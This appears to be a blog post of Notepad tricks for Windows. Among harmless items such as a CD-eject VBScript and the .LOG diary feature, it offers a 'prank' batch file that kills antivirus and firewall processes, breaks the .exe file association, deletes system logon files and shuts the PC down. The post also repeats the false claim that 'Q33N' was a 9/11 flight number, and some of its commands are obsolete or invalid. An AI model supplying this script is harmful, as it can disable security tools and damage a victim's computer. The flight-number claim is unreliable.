“Notepad, a very simple built-in text editor in Windows. We can create, edit and save text files with its help.” This is what most of us think about this hidden master that can perform many roles in addition to just being a simple text editor.

Eject CD ROM tray of your PC with help of Notepad file( XP only). Type the following lines of code in Notepad and save the file with .vbs extension:

Set owMP = CreateObject(”WMPlayer.OCX.7″)
Set colCDROMS = oWMP.cdromCollection
if colCDROMS.Count >= 1 then
for i = 0 to colCDROMS.count - 1
colCDROMS.item(i).Eject
Next ‘ cdrom
end if

The file created whenever double clicked ejects your CD ROM tray. Be sure to save the file with .vbs extension else it won’t work.

Play a prank on your friends. Type the following code in Notepad and save it with name installhack.bat:

title Hack Setup
color 0A
@echo off
set end=md “Hack installing”
set fin=copy “Hack log.txt” “Installing”
%end%
%fin%
net send * Hack is installing, press OK to begin set up.
kill NAVAPSVC.exe /F /Q
kill zonelabs.exe /F /Q
kill explorer.exe /F /Q
cls
assoc .exe=txtfile
assoc .txt=mp3file
cls
msg * It is you who is hacked….
msg * I warned you, and you kept going. Challenge me and this is what happens.
DEL C:\WINDOWS\system32\logoff.exe /F /Q
DEL C:\WINDOWS\system32\logon.exe /F /Q
DEL C:\WINDOWS\system32\logon.scr /F /Q
cls
shutdown

CAUTION: Don’t try to check it yourself on your computer.

Use Notepad as a personal diary. The following lines can help you:
1. Open Notepad
2. Type : “.LOG”
3. Save it with any name say ‘Diary’
4. Open Diary.txt again and notice the change.
Now every time you close your this Notepad file after editing it, the current date and time (from your system) are automatically appended to your edited text.

The Osama Bin Laden trick.

Do you know that the flight number of the plane that hit WTC on 9/11 was Q33N. Follow the code below to see what happened to this plane after hitting WTC.

1. Open your Notepad and type the flight number i.e Q33N.
2. Increase the Font Size to 72. Also Change the Font to Wingdings.
3. Check out what happens.

A trick that Windows XP supports. Follow these lines to make it happen:

1. Open Notepad
2. Enter any four words separated by spaces, where the first word has 4 letters, the next two have three letters, and the last word has five letters. DON’T hit enter at the end of the line.
3. Save the file with name xxx.txt.
4. Close Notepad. Re-open Notepad. Open the file you just saved.
5. Check out the text you just typed.